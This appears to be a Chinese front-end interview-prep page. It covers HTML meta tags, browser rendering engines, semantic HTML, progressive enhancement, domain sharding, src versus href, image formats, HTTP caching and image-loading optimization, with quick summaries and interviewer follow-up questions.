<meta http-equiv=”X-UA-Compatible” content=”IE=edge,chrome=1″/>   <!--优先使用 IE 最新版本和 Chrome-->
<meta name=”description” content=”不超过150个字符”/>       <!--页面描述-->
<meta name=”keywords” content=””/>     <!-- 页面关键词-->
<meta name=”author” content=”name, email@gmail.com”/>    <!--网页作者-->
<meta name=”robots” content=”index,follow”/>      <!--搜索引擎抓取-->
<meta name=”viewport” content=”initial-scale=1, maximum-scale=3, minimum-scale=1, user-scalable=no”> <!--为移动设备添加 viewport-->
<meta name=”apple-mobile-web-app-title” content=”标题”> <!--iOS 设备 begin-->
<meta name=”apple-mobile-web-app-capable” content=”yes”/>  <!--添加到主屏后的标题(iOS 6 新增)
是否启用 WebApp 全屏模式,删除苹果默认的工具栏和菜单栏-->
<meta name=”apple-itunes-app” content=”app-id=myAppStoreID, affiliate-data=myAffiliateData, app-argument=myURL”>
<!--添加智能 App 广告条 Smart App Banner(iOS 6+ Safari)-->
<meta name=”apple-mobile-web-app-status-bar-style” content=”black”/>
<meta name=”format-detection” content=”telphone=no, email=no”/>  <!--设置苹果工具栏颜色-->
<meta name=”renderer” content=”webkit”> <!-- 启用360浏览器的极速模式(webkit)-->
<meta http-equiv=”X-UA-Compatible” content=”IE=edge”>     <!--避免IE使用兼容模式-->
<meta http-equiv=”Cache-Control” content=”no-siteapp” />    <!--不让百度转码-->
<meta name=”HandheldFriendly” content=”true”>     <!--针对手持设备优化,主要是针对一些老的不识别viewport的浏览器,比如黑莓-->
<meta name=”MobileOptimized” content=”320″>   <!--微软的老式浏览器-->
<meta name=”screen-orientation” content=”portrait”>   <!--uc强制竖屏-->
<meta name=”x5-orientation” content=”portrait”>    <!--QQ强制竖屏-->
<meta name=”full-screen” content=”yes”>              <!--UC强制全屏-->
<meta name=”x5-fullscreen” content=”true”>       <!--QQ强制全屏-->
<meta name=”browsermode” content=”application”>   <!--UC应用模式-->
<meta name=”x5-page-mode” content=”app”>   <!-- QQ应用模式-->
<meta name=”msapplication-tap-highlight” content=”no”>    <!--windows phone 点击无高亮
设置页面不缓存-->
<meta http-equiv=”pragma” content=”no-cache”>
<meta http-equiv=”cache-control” content=”no-cache”>
<meta http-equiv=”expires” content=”0″>

💬 面试官追问

  • 页面中文偶尔乱码,charset 明明写了 utf-8,可能是什么原因?

    先看 charset 是不是被挤到了 head 的后面,前面有一大段内联脚本或样式就可能超过 1024 字节。再看响应头的 Content-Type 有没有声明别的编码,响应头优先级比 meta 高。

  • 测试环境的页面被搜索引擎收录了,怎么止住?

    页面加 <meta name="robots" content="noindex">,或者响应头加 X-Robots-Tag: noindex。注意别同时在 robots.txt 里禁止抓取,否则爬虫看不到 noindex,已收录的反而删不掉。

  • keywords 还有必要写吗?

    对 Google 来说早就没用了,它明确不读这个标签。国内部分搜索引擎可能还参考,写几个也无妨,但别指望靠它提排名,title 和 description 才是重点。

  • 链接分享到社交平台没有缩略图,加什么?

    加 og:title、og:description、og:image 这组 Open Graph 标签,og:image 用绝对地址。微信内分享更多靠 JS-SDK 配置,光靠 meta 不一定生效。

  • 暗色模式下手机地址栏还是白的,怎么跟着变?

    写两个 theme-color,分别带 media="(prefers-color-scheme: light)" 和 media="(prefers-color-scheme: dark)"。支持程度看浏览器,Safari 和安卓 Chrome 都认。

# 26 你做的页面在哪些流览器测试过?这些浏览器的内核分别是什么?

⚡ 30 秒速记

  • 现在只剩三个渲染引擎:Blink(Chrome/Edge/Opera/国产壳)、WebKit(Safari)、Gecko(Firefox)
  • iOS 上的浏览器基本都用 WebKit,iOS 的 Chrome 本质是套壳 Safari(欧盟 iOS 17.4 起才放开第三方引擎)
  • 测试矩阵:Chrome + Safari(含 iOS 真机)+ Firefox + 微信内置浏览器,国内再加一两个国产浏览器
  • 已退场:Trident(IE)、EdgeHTML(旧 Edge)、Presto(旧 Opera),只当历史背景
  • 保障手段:Browserslist 定目标 + Autoprefixer + core-js 按需 polyfill,再真机回归

我测试按渲染引擎来分,不按浏览器品牌:Blink 测 Chrome,WebKit 测 Safari 和 iOS 真机,Gecko 测 Firefox,国内业务再加微信内置浏览器。 这样分是因为 Chrome、Edge、Opera 和大部分国产浏览器都是 Blink,测三个等于测一个。最容易漏的是 iOS:苹果要求 iOS 上的浏览器用 WebKit,所以「安卓正常、iOS 挂了」多半是 WebKit 的问题,iOS 上的 Chrome 也一样会挂。兼容范围我会写进 Browserslist,构建工具自动加前缀和 polyfill。

现在还活着的三个渲染引擎

  • Blink:Chrome、Edge、Opera、以及国内几乎所有"壳"浏览器(360、QQ、UC 的桌面版)。JS 引擎是 V8
  • WebKit:Safari,以及 iOS 上的全部浏览器。JS 引擎是 JavaScriptCore
  • Gecko:Firefox。JS 引擎是 SpiderMonkey

已经退场的(只当历史背景,别当答案主体)

  • Trident:IE 系列,微软已于 2022 年终止 IE11 支持
  • EdgeHTML:旧版 Edge,2020 年起 Edge 改用 Blink
  • Presto:旧版 Opera,2013 年起 Opera 改用 Blink

这题的加分点

苹果在 iOS 上强制所有浏览器使用 WebKit,所以"iOS 上的 Chrome"本质是套壳 Safari。移动端遇到"安卓正常、iOS 挂了"的兼容问题,多半就出在这里 —— 能说出这一点,比背内核名字有用得多。

实际测试矩阵怎么讲:Chrome + Safari(含 iOS 真机)+ Firefox + 微信内置浏览器(国内业务必测),配 Browserslist + Autoprefixer + core-js 按需 polyfill 做保障。

💬 面试官追问

  • 候选人说测了 Chrome、Edge、Opera 三个浏览器,覆盖了三种内核,对吗?

    不对,这三个现在都是 Blink,JS 引擎都是 V8,测的基本是同一套东西。要覆盖主要差异得加 Safari(WebKit)和 Firefox(Gecko)。

  • 页面在安卓 Chrome 正常,iOS Chrome 上布局错乱,开发说都是 Chrome 不可能有差异,你怎么看?

    他搞错了,iOS Chrome 底层是 WebKit,和安卓的 Blink 是两套引擎。拿同版本 iOS 的 Safari 一复现基本就能确认,然后按 WebKit 的兼容问题去查,比如 100vh、position: sticky 之类的老坑。

  • 微信内置浏览器为什么要单独测?

    安卓微信用的是腾讯自己的 X5 或 XWeb 内核,版本和系统 Chrome 不同步;iOS 微信是 WKWebView。再加上 JS-SDK、分享、支付、返回键这些只在微信里有的行为,不测一定出事。

  • Browserslist 配了 > 0.5%,是不是就不用真机测了?

    不是。它只决定构建时加哪些前缀和 polyfill,管不了渲染差异和 WebView 的怪行为。工具保下限,核心流程还是要在真机上走一遍。

  • 怎么定这个项目要支持到哪些浏览器版本?

    看自己站的统计数据,比如 GA 或百度统计里的浏览器分布,覆盖到 98% 左右的流量就够。不要凭感觉写「支持 IE11」,那是在给团队加成本。

# 27 div+css的布局较table布局有什么优点?

⚡ 30 秒速记

  • 历史题:table 布局是早年做法,今天的答案是 Flex + Grid
  • div+CSS 当年的优点:结构和样式分离、改版只改 CSS、代码更少、语义更清楚对 SEO 友好
  • table 布局的毛病:嵌套深、标签多、语义错(读屏器会当成数据表念)、改一处牵一片
  • 老浏览器的 table 可能要等整张表内容到齐才能算出列宽,大表格首屏会慢;table-layout: fixed 可以缓解
  • table 没过时,真正的二维数据就该用它,配 thead、th、scope

用 div 加 CSS 布局,最大的好处是结构和样式分开了,改版只动 CSS,HTML 不用大改。 table 布局要靠层层嵌套表格去对齐,标签又多又深,语义也是错的,读屏器会把它当数据表格去念。而且表格的列宽依赖所有单元格的内容,大表格要等内容到齐才能排好,首屏慢。不过这题现在要补一句:div+float 那套也过时了,现在布局用 Flex 和 Grid,table 留给真正的表格数据。

  • 改版的时候更方便 只要改css文件。
  • 页面加载速度更快、结构化清晰、页面显示简洁。
  • 表现与结构相分离。
  • 易于优化(seo)搜索引擎更友好,排名更容易靠前。

💬 面试官追问

  • 那展示订单列表这种数据,也不该用 table 吗?

    该用。行列结构的数据就是 table 的本职,读屏器能按行列导航,复制到 Excel 也是整齐的。不该用的是拿 table 做页面骨架。

  • 用 div 模拟表格,有什么代价?

    读屏器不知道它是表格,没法按单元格导航,要补 role="table"、role="row"、role="cell"。除非要虚拟滚动或者很特殊的交互,我一般还是用原生 table。

  • 一个几千行的表格渲染很慢,怎么优化?

    先加 table-layout: fixed,列宽只看第一行,不用等全部内容算完。再上虚拟滚动只渲染可视区,antd 的 Table 开 virtual 就行。

  • 以前用 table 是为了好做垂直居中和等高列,现在怎么做?

    Flex 一行 align-items: center 就居中,子项默认就是等高的(align-items: stretch)。复杂的二维排版用 Grid,比 table 灵活得多。

# 28 a:img的alt与title有何异同?b:strong与em的异同?

⚡ 30 秒速记

  • alt = 图片看不到时的替代内容:图挂了显示、读屏器朗读、搜索引擎索引
  • title = 悬停提示,触屏和键盘基本用不了,不能放关键信息
  • 装饰图写 alt="",别省略属性,省略了读屏器可能念文件名
  • strong = 内容重要;em = 语气强调,是语义维度不同,不是粗体和斜体的区别
  • 只要视觉效果就用 b、i 或 CSS,不要拿语义标签当样式工具

alt 是图片看不到时的替代文字,title 只是鼠标悬停的补充提示;strong 表示这段内容重要,em 表示说话时的重音。 alt 是给读屏器、图片加载失败、搜索引擎用的,必须能替代图片要传达的信息;title 只有鼠标用户能看到,手机上基本无效。strong 和 em 默认分别显示粗体和斜体,但区别在意思上:「别删这个文件」是重要,「我说的是他,不是你」是语气。只是想让字变粗,用 b 或者 font-weight 就好。

  • alt(alt text): 用于为不能显示图像、窗体或applets的用户代理(UA)提供替代文字。它由lang属性指定替代文字的语言。在某些浏览器中,当没有title属性时,会将alt属性作为工具提示(tooltip)显示。
  • title(tool tip): 用于为元素提供额外的提示信息,当鼠标悬停在元素上时显示。它提供了一种向用户解释元素用途或提供有关元素的补充信息的方式。

b:strong与em的异同?

  • strong: 是表示文本的重要性或紧急性的标签,通常呈现为加粗的文本样式。它用于强调内容的重要性,可以为内容赋予更大的权重。
  • em: 是表示文本的强调或重要性的标签,通常呈现为斜体的文本样式。它用于更强烈地强调内容,使其在阅读时更具有突出性,但并不改变内容的含义。

注意:strong和em都是语义化标签,用于表示文本的语义和重要性,而不仅仅是样式上的改变。

💬 面试官追问

  • 商品主图挂了,只写了 title="黑色运动鞋",算有替代内容吗?

    不算。图片加载失败时显示的是 alt,读屏器读的也是 alt,title 只在悬停时出现。改成 alt="黑色运动鞋",title 可以不写。

  • 文章里二十张装饰分隔线都写了 alt="装饰图片",有什么问题?

    读屏用户要听二十遍「装饰图片」,纯噪音。装饰图写 alt="",读屏器会直接跳过;或者干脆用 CSS 背景图。

  • img 不写 alt 和写 alt="" 有区别吗?

    有。alt="" 是明确告诉读屏器「这图没信息,跳过」;不写的话读屏器可能去念文件名,比如「IMG_2031.jpg」。

  • 设计稿所有加粗文字,开发全改成了 <strong>,合适吗?

    不合适,粗体只是样式。像卡片标题、价格这种只是视觉强调的,用 CSS 的 font-weight;只有「必填」「不可撤销」这种真重要的内容才用 strong。

  • 图片还需要一段较长的说明,全塞进 alt 行吗?

    不建议,alt 要短,一两句说清图的意思。长说明放在旁边正文里,或者用 figure 加 figcaption,所有人都能看到。

# 29 你能描述一下渐进增强和优雅降级之间的不同吗

⚡ 30 秒速记

  • 渐进增强:先保证基础功能所有环境能用,再给新浏览器加体验,从下往上加
  • 优雅降级:先按最好的环境做完整功能,再给老环境兜底,从上往下减
  • 记法:渐进增强朝前看,优雅降级往回看
  • 落地手段:@supports 特性检测、<picture> 多格式图片、CSS 先写兜底值再写新属性、Service Worker 有就用
  • 现在主流是渐进增强:SSR 先把内容和表单给出来,JS 加载后再增强交互

渐进增强是先做一个所有环境都能用的基础版,再给支持新特性的浏览器加料;优雅降级是先做完整版,再给老浏览器补兜底。 结果可能长得差不多,区别在出发点:渐进增强保证底线一定在,优雅降级容易出现兜底没做全、老环境直接用不了。现在我更倾向渐进增强,比如表单先保证不靠 JS 也能提交,JS 加载后再做实时校验;CSS 用 @supports 判断支持 grid 才启用网格布局,不支持就是普通的流式布局。

  • 渐进增强:针对低版本浏览器进行构建页面,保证最基本的功能,然后再针对高级浏览器进行效果、交互等改进和追加功能达到更好的用户体验。
  • 优雅降级:一开始就构建完整的功能,然后再针对低版本浏览器进行兼容。

区别:优雅降级是从复杂的现状开始,并试图减少用户体验的供给,而渐进增强则是从一个非常基础的,能够起作用的版本开始,并不断扩充,以适应未来环境的需要。降级(功能衰减)意味着往回看;而渐进增强则意味着朝前看,同时保证其根基处于安全地带

💬 面试官追问

  • 用 CSS 怎么做渐进增强?举个例子。

    先写兜底,再写新特性,浏览器不认识的会忽略:background: #333; background: color-mix(in srgb, red 50%, blue);。整块布局用 @supports (display: grid) { ... } 包起来,不支持的浏览器就走上面的普通布局。

  • 页面 JS 加载失败,用户还能下单吗?这跟这题有什么关系?

    这就是渐进增强的价值。如果按钮和表单是真正的 form 和 button,服务端渲染出来,JS 挂了也能提交;全靠 JS 渲染的 SPA 则直接白屏。Next.js 的 Server Actions 配 form 就支持这种写法。

  • 图片想用 AVIF,但还有用户的浏览器不支持,怎么写?

    用 <picture>,source 按 AVIF、WebP 的顺序写,最后的 img 用 JPEG 兜底,浏览器自己挑第一个支持的。这是标准的渐进增强写法。

  • 老项目已经按最新浏览器写完了,现在要求兼容旧版本,属于哪种思路?

    这就是优雅降级。做法一般是 Browserslist 加上旧版本,让 Babel、Autoprefixer 和 polyfill 补语法;API 层面不支持的功能单独做兜底或给出提示。

# 30 为什么利用多个域名来存储网站资源会更有效?

⚡ 30 秒速记

  • 老结论(HTTP/1.1):突破同域 6 个并发连接限制、静态域名不带 cookie、方便上 CDN、和主站隔离
  • HTTP/2 之后要反着答:单连接多路复用,没有并发限制,拆域名反而是负优化
  • 每多一个域名就多一次 DNS + TCP + TLS 握手,还用不上连接复用
  • 今天的做法:静态资源收敛到 1~2 个域名,走 HTTP/2 或 HTTP/3,关键域名用 preconnect
  • 还成立的一条:独立静态域名不带主站 cookie,前提是主站 cookie 别设成 Domain=.example.com

多域名放资源是 HTTP/1.1 时代的优化,到了 HTTP/2 基本要反过来做。 当年浏览器对同一个域名最多同时开 6 个连接,资源一多就排队,所以拆几个域名来提高并发,顺便让静态资源不带主站 cookie。HTTP/2 一条连接就能并发跑所有请求,再拆域名只会多出 DNS 解析和 TCP、TLS 握手,连接也复用不了。现在我会把静态资源收到一两个 CDN 域名上,关键的提前 preconnect,独立静态域名保留下来主要是为了不带 cookie。

利用多个域名来存储网站资源可以带来以下好处:

  • CDN缓存更方便:内容分发网络(CDN)可以更轻松地缓存和分发位于不同域名下的资源,提高资源的访问速度和可用性。
  • 突破浏览器并发限制:大多数浏览器对同一域名下的并发请求数量有限制,通过将资源分布在多个域名下,可以突破这一限制,同时发送更多的并发请求,加快页面加载速度。
  • 节约cookie带宽:浏览器在每个请求中都会携带相应域名下的cookie信息,通过将资源分布在不同的域名下,可以减少对cookie的传输,节约带宽和提高性能。
  • 节约主域名的连接数:浏览器对同一域名下的连接数也有限制,通过将资源请求分散到多个域名下,可以减少对主域名的连接数占用,提高页面的响应速度和并发处理能力。
  • 防止不必要的安全问题:将静态资源与主要网站内容分离到不同的域名下,可以降低恶意攻击者利用资源加载过程中的安全漏洞对主站点进行攻击的风险。

这题现在要反着答

上面那套结论属于 HTTP/1.1 时代。HTTP/2 之后单条连接就能多路复用,同域并发限制已经不存在,再拆域名反而是负优化 —— 每多一个域名就多一次 DNS 解析 + TCP 握手 + TLS 握手,还破坏了连接复用。

今天的做法:静态资源收敛到 1~2 个域名走 HTTP/2 或 HTTP/3,用 <link rel="preconnect"> 提前建连。唯一还成立的是 cookie-free 域名 —— 独立静态域名可以避免每个静态资源请求都背上主站的 cookie。

面试时能主动指出"这条优化已经被 HTTP/2 推翻",比复述老结论加分得多。

💬 面试官追问

  • HTTP/2 的活动页把资源拆到 8 个域名,说并发更高,你同意吗?

    不同意。HTTP/2 一条连接就多路复用了,拆 8 个域名只会多 7 次建连,弱网下每次建连可能就是几百毫秒。合并到一两个域名,测一下首屏一般会更快。

  • 改成三个静态域名后首屏变慢,DevTools 里看到每组请求前都有一段灰色的建连时间,怎么查?

    先看 Network 面板的 Protocol 列是不是 h2 或 h3,再看 Timing 里 DNS Lookup、Initial connection、SSL 各占多少。确认是建连开销就合并域名,必须保留的加 <link rel="preconnect">。

  • 静态资源用了独立域名 static.example.com,请求里还是带着主站的 cookie,为什么?

    主站把 cookie 设成了 Domain=.example.com,所有子域名都会带。要么收窄 cookie 的 Domain,要么静态资源换一个完全不同的根域名,比如很多大站用的 xxximg.com。

  • 内网老系统还跑在 HTTP/1.1 上,要不要也取消域名分片?

    不用急。HTTP/1.1 下适度分片还是有用的,两三个就够,多了建连成本又上来了。更好的做法是推动网关升级到 HTTP/2,一劳永逸。

  • HTTP/2 下有两个域名,一定会建两条连接吗?

    不一定。如果两个域名解析到同一个 IP,而且证书同时覆盖两个域名,浏览器会复用同一条连接,这叫连接合并(connection coalescing)。

# 31 简述一下src与href的区别

⚡ 30 秒速记

  • src = 把资源嵌进来,替换元素当前位置:img、script、iframe、video、audio
  • href = 建立当前文档和资源的关系:a、link,关系是什么由 rel 决定
  • 记法:src 是「把东西搬进来」,href 是「指个路」
  • 阻塞别按属性名背:经典 script src 会阻塞解析,img src 不会;link 样式表不阻塞解析但阻塞渲染,还会卡住后面脚本的执行
  • script 写成 href 不会加载任何东西,preload 也是 link,所以用 href

src 是把外部资源嵌进当前元素,资源会替代这个元素显示或执行;href 只是在当前文档和另一个资源之间建立关系。 所以 img、script、iframe 用 src,a 链接到别的页面、link 引入样式表用 href。很多资料说 src 阻塞、href 不阻塞,这个说法太粗了:普通 script 确实会停下解析去下载执行,但 img 的 src 不会;样式表虽然用 href,却会阻塞渲染,后面的脚本也要等它加载完才执行。

src和href是HTML中两个常见的属性,它们有以下区别:

  • src属性(source)用于指定要嵌入到当前文档中的外部资源的位置。例如,<script src="script.js"></script>用于引入一个外部的JavaScript文件,或者<img src="image.jpg" alt="Image">用于显示一个外部的图像文件。浏览器在解析到带有src属性的元素时,会暂停当前文档的加载和解析,去下载并执行或显示指定的资源。
  • href属性(hypertext reference)用于建立当前文档和引用资源之间的关联。它通常用于链接到其他文档或外部资源,例如<a href="https://www.example.com">Link</a>用于创建一个指向外部网页的链接,或者<link href="styles.css" rel="stylesheet">用于引入外部的CSS样式表。浏览器在解析到带有href属性的元素时,会同时进行当前文档和引用资源的加载和处理,而不会阻塞当前文档的解析。

总结来说:

  • src用于替换当前元素,指向的资源会嵌入到文档中,例如脚本、图像、框架等。
  • href用于建立文档与引用资源之间的链接,例如链接到其他文档或引入外部样式表。

注意:尽管它们的用途不同,但在实际使用时,需要根据元素的类型和需求正确地选择使用src或href属性。

💬 面试官追问

  • 样式表要下载,为什么用 href 不用 src?

    判断标准不是发不发请求,而是嵌入还是关联。link 表达的是「这个文档和那个样式表有关系」,关系类型由 rel="stylesheet" 说明,所以用 href。

  • <link rel="preload" href="app.js" as="script"> 写了,脚本会执行吗?

    不会,preload 只负责提前下载放进缓存,执行还得靠 <script src="app.js">。两边地址或 as 类型对不上,就会下载两次,控制台还会报 preload 没被使用的警告。

  • 代码写成 <script href="bundle.js"></script>,脚本没执行,为什么?

    script 不认 href,这个标签就是一个空的内联脚本,网络面板里根本没有请求。改成 src。另外 script 同时有 src 和内联代码时,内联代码会被忽略。

  • 有人说所有 src 都会阻塞 HTML 解析,对吗?

    不对。只有经典的同步 script src 会阻塞,加 defer 或 async 就不阻塞了;img、video 的 src 都是异步下载的。别按属性名背,按元素和加载方式分析。

  • 样式表用 href 加载,为什么还会让首屏变慢?

    CSS 阻塞渲染,浏览器要拿到 CSSOM 才会绘制,免得出现无样式闪烁。而且样式表后面的同步脚本要等它加载完才执行,因为脚本可能读样式。所以首屏只放关键 CSS,其他的异步加载。

# 32 知道的网页制作会用到的图片格式有哪些?

⚡ 30 秒速记

  • 照片用 JPEG(有损,体积小);要透明或锐利边缘用 PNG(无损,体积大)
  • 图标、Logo、图表用 SVG:矢量无损缩放,能用 CSS 改颜色
  • 现代主力:WebP 比同质量 JPEG 小 25%~35%,支持透明和动画;AVIF 压得更狠,Chrome 85、Firefox 93、Safari 16 起支持
  • GIF 只有 256 色,动图现在用 mp4 / webm 视频替代,体积能小一个数量级
  • 落地:<picture> + source type 做格式降级,srcset + sizes 按屏幕挑尺寸

选格式看图片内容:照片用 JPEG,要透明用 PNG,图标用 SVG,现在再优先上 WebP 和 AVIF。 JPEG 是有损压缩,适合色彩丰富的照片;PNG 无损,适合截图、带透明的图,但拿来存照片会大好几倍。WebP 兼容性已经没问题了,同等质量比 JPEG 小三成左右;AVIF 更小,但编码慢。我一般用 <picture> 写 AVIF、WebP 两个 source,最后用 JPEG 兜底。动图别用 GIF,换成静音循环播放的 video,能小很多。

在网页制作中,常用的图片格式包括:

  • JPEG(Joint Photographic Experts Group):适用于存储照片和复杂的图像,具有较高的压缩比,但会有一定的图像质量损失。
  • PNG(Portable Network Graphics):适用于图标、透明背景的图像以及需要保留较高图像质量的场景。可以选择使用PNG-8或PNG-24,前者支持最多256种颜色,后者支持更多颜色但文件体积更大。
  • GIF(Graphics Interchange Format):适用于简单动画和图标,支持透明背景和基本的透明度。
  • SVG(Scalable Vector Graphics):矢量图形格式,使用XML描述图形,具有无损缩放和可编辑性。

除了上述常见的图片格式,还有一些新兴的图片格式:

  • WebP:由Google开发的一种旨在提高图片加载速度的格式,具有较高的压缩率和图像质量,逐渐被主流浏览器支持。
  • APNG(Animated Portable Network Graphics):是PNG的位图动画扩展,支持帧动画效果,但浏览器兼容性较差。

请注意,选择合适的图片格式应根据具体需求,如图像内容、透明度要求、动画效果等。新的图片格式如WebP和APNG可以根据项目需求和兼容性考虑是否使用。

💬 面试官追问

  • 摄影频道导出 PNG-24 的照片,一张 3MB,怎么处理?

    照片用 PNG 是格式选错了,换成 WebP 或 JPEG 质量 75~85,一般能降到几百 KB,肉眼看不出差别。图片服务或 CDN 的自动格式转换可以直接开。

  • 300 个单色图标要随主题变色,用 PNG 还是 SVG?

    SVG。内联或做成组件,fill="currentColor" 就能跟着文字颜色走,主题切换零成本。PNG 每个颜色每个尺寸都要出一份图。

  • 加载动画是个 2MB 的 GIF,怎么优化?

    能用 CSS 动画画出来的就用 CSS;复杂动画转成 mp4 或 webm,<video autoplay muted loop playsinline> 播放,体积通常能降到十分之一。要透明背景的可以看 Lottie 或者 animated WebP。

  • 上了 AVIF、WebP、JPEG 三套资源,部分用户看到破图,查什么?

    先看 source 的 type 写没写对,比如 image/avif 写错,浏览器会跳过;再看文件地址是不是都可访问,最后的 img src 兜底有没有。服务端还要确认返回的 Content-Type 正确。

  • 格式已经换成 WebP,手机上还是下载 2000px 宽的原图,算优化完了吗?

    没有,格式只管编码效率,尺寸才是大头。用 srcset 提供 400w、800w、1200w 几档,配 sizes 告诉浏览器实际显示宽度,手机就会下载小图。

# 33 在CSS/JS代码上线之后,开发人员经常会优化性能。从用户刷新网页开始,一次JS请求一般情况下有哪些地方会有缓存处理?

⚡ 30 秒速记

  • 按请求经过的顺序:浏览器(Service Worker、Memory Cache、Disk Cache)→ DNS 缓存 → CDN 边缘节点 → 服务端/代理缓存
  • 强缓存:Cache-Control: max-age / Expires,命中不发请求,显示 200 (from disk cache)
  • 协商缓存:ETag / If-None-Match、Last-Modified / If-Modified-Since,发请求,没变返回 304
  • 工程配置:HTML 用 no-cache,带 hash 的 JS / CSS 用 max-age=31536000, immutable,改了文件名就是新资源
  • 易错:no-cache 是「每次先问」,no-store 才是「不存」;HTTP/2 Server Push 的 Push Cache 已被 Chrome 106 移除

一次 JS 请求从浏览器到服务器,沿路有好几层缓存:浏览器自己的 Service Worker、内存和磁盘缓存,然后是 DNS 缓存、CDN 节点,最后是服务端缓存。 面试重点是浏览器 HTTP 缓存的两段:强缓存在有效期内直接用本地副本,连请求都不发;过期了走协商缓存,带着 ETag 去问服务器,没变就回 304 只传个头。上线实践我会让 HTML 每次都协商,JS 文件名带内容 hash,缓存一年加 immutable,发版换文件名就自动更新,不用担心用户拿到旧代码。

时序图 · 5 个参与者 / 9 步
alt 强缓存未过期已过期,带 ETag 协商alt CDN 有缓存且未变CDN 未命中页面页面Service WorkerService Worker浏览器 HTTP 缓存浏览器 HTTP 缓存CDN 节点CDN 节点源站源站请求 app.js1未拦截,交给 HTTP 缓存2直接返回本地副本3发请求 If-None-Match4304 只返回头5回源6200 新文件7200 并缓存到边缘8返回脚本9

在进行JS请求时,可以在以下几个地方进行缓存处理,以提高性能和减少资源加载时间:

  1. DNS缓存:浏览器会缓存已解析的域名和对应的IP地址,这样在下次请求同一域名时可以直接使用缓存的IP地址,避免重新进行DNS解析。
  2. CDN缓存:如果使用了内容分发网络(CDN),CDN会缓存静态资源文件,如CSS和JS文件,以便快速地分发给用户。当用户再次请求同一资源时,可以从CDN缓存中获取,减少向源服务器的请求次数。
  3. 浏览器缓存:浏览器会缓存已请求的静态资源文件,如CSS和JS文件。可以通过设置HTTP响应头中的Cache-Control和Expires字段来控制浏览器缓存的行为。如果设置了适当的缓存策略,浏览器在下次请求同一资源时可以直接从本地缓存中获取,而不需要再次向服务器请求。
  4. 服务器缓存:服务器可以对动态生成的JS文件进行缓存,以避免重复生成相同的响应。服务器可以通过设置响应头中的Cache-Control和Expires字段,或者使用缓存代理服务器来进行缓存处理。

需要注意的是,缓存的有效期限和缓存策略的设置需要根据具体的需求和业务场景来确定。合理地利用缓存可以显著提高网页加载速度和用户体验。

💬 面试官追问

  • no-cache 和 no-store 有什么区别?

    no-cache 是可以存,但每次用之前要先问服务器还有没有效,没变就 304;no-store 是压根不存,每次都完整下载。HTML 一般用 no-cache,含敏感数据的接口才用 no-store。

  • 发版之后有用户反馈还是旧页面,JS 文件名都带了 hash,问题出在哪?

    多半是 HTML 被缓存了,旧 HTML 引用的还是旧 hash 的 JS。查 HTML 的响应头,CDN 上的缓存规则也要看,HTML 要配 no-cache,发版后刷新 CDN 上的 HTML。用了 Service Worker 的话还要看它有没有缓存 HTML。

  • 用户按 F5 和 Ctrl+F5,缓存行为有什么不同?

    现在的 Chrome 普通刷新只对主文档做协商,页面里的子资源照常走强缓存;Ctrl+F5 强制刷新会带 Cache-Control: no-cache 绕过所有缓存。所以测缓存别用强刷。

  • ETag 和 Last-Modified 都配了,服务器以哪个为准?

    以 ETag 为准,它是内容指纹,更精确。Last-Modified 只精确到秒,而且文件内容没变但被重新部署时修改时间会变,导致不必要的重新下载。多台服务器的 ETag 生成规则要一致,不然负载均衡来回切也会失效。

  • Network 面板里 memory cache 和 disk cache 是怎么决定的?

    浏览器自己决定,开发者控制不了。一般当前页面刚用过的资源会在内存里,关掉标签页就没了;磁盘缓存能跨会话。两者都属于强缓存命中,不发请求。

# 33 一个页面上有大量的图片(大型电商网站),加载很慢,你有哪些方法优化这些图片的加载,给用户更好的体验。

⚡ 30 秒速记

  • 先减字节:换 WebP / AVIF、按展示尺寸裁剪、有损压缩到肉眼无差
  • 再控时机:屏外图片 loading="lazy",首屏主图反过来加 fetchpriority="high",别懒加载
  • 响应式:srcset + sizes 按视口和 DPR 挑尺寸,<picture> 做格式降级
  • 防抖动:img 写 width / height 或 aspect-ratio,不写会把内容顶下去,CLS 爆掉
  • 体验和传输:低清占位图或主色块先撑住,CDN + 长缓存;雪碧图在 HTTP/2 下已经不划算

大量图片的优化我会按三步走:先让每张图变小,再让屏外的图晚点加载,最后保证加载过程中页面不跳。 变小靠格式和尺寸,换成 WebP 或 AVIF,再用 srcset 让手机只拿小图,这一步往往能省一半以上流量。时机上屏外图片用原生 loading="lazy",但首屏主图千万别懒加载,反而要提高优先级,不然 LCP 会变差。最后图片要预留宽高,加上模糊占位,避免加载完把内容挤下去。小图标现在用 SVG 组件,不再折腾雪碧图。

  • 使用图像压缩技术:通过使用图像压缩工具,如PhotoShop、TinyPNG等,将图片文件的大小减小,以减少加载时间。
  • 使用适当的图像格式:根据图像的特性选择合适的图像格式,如JPEG、PNG、WebP等。JPEG适用于照片和复杂图像,而PNG适用于简单的图标和透明图像。WebP是一种现代的图像格式,可以在保持良好质量的同时减小文件大小。
  • 图片CDN加速:使用内容分发网络(CDN)来加速图片的传输,将图片文件缓存到离用户更近的服务器,减少传输时间。
  • 图片延迟加载:采用图片懒加载技术,将页面上不可见区域的图片暂时不加载,当用户滚动页面至可见区域时再进行加载,以减少初始加载时间。
  • 使用CSS精灵图:将多个小图标或背景图片合并为一张大图,并利用CSS的background-position来定位显示需要的部分,减少HTTP请求的数量。
  • 使用矢量图形:使用矢量图形(如SVG)代替位图,以减小文件大小并保持清晰度,适用于简单的图形和图标。
  • 响应式图片:针对不同的设备和屏幕尺寸提供适当大小的图片,以避免在小屏幕设备上加载过大的图片。
  • 图片懒加载、预加载:根据用户的浏览行为,提前加载下一页或下一组图片,以提高用户体验和流畅度。
  • 图片缓存:设置适当的缓存策略,让浏览器在首次加载后对图片进行缓存,减少重复加载的次数。

综合应用这些优化技术可以减小图片的加载大小和加载时间,提升网页的加载速度,给用户更好的体验。

💬 面试官追问

  • 首屏 Banner 也加了 loading="lazy",LCP 反而变差了,为什么?

    懒加载的图要等布局完成、确认在视口里才开始下载,比正常图晚了一截。首屏主图要去掉 lazy,加 fetchpriority="high",必要时用 <link rel="preload"> 提前拉。

  • 商品列表图片一加载,下面的内容就往下跳,怎么修?

    图片没预留空间。img 写上 width 和 height 属性,CSS 里配 height: auto,浏览器会按比例提前占位;或者容器写 aspect-ratio: 1。

  • HTTP/2 下还要做雪碧图吗?

    一般不做了。HTTP/2 多路复用后请求数不再是瓶颈,雪碧图反而让缓存粒度变粗,改一个图标整张图失效。图标用 SVG 组件或 SVG sprite。

  • 原生 loading="lazy" 和自己用 IntersectionObserver 写,选哪个?

    默认用原生的,零代码、浏览器自己管提前加载距离。需要控制提前量、做淡入动画或者给背景图懒加载时,再用 IntersectionObserver,rootMargin: '200px' 提前一点开始加载。

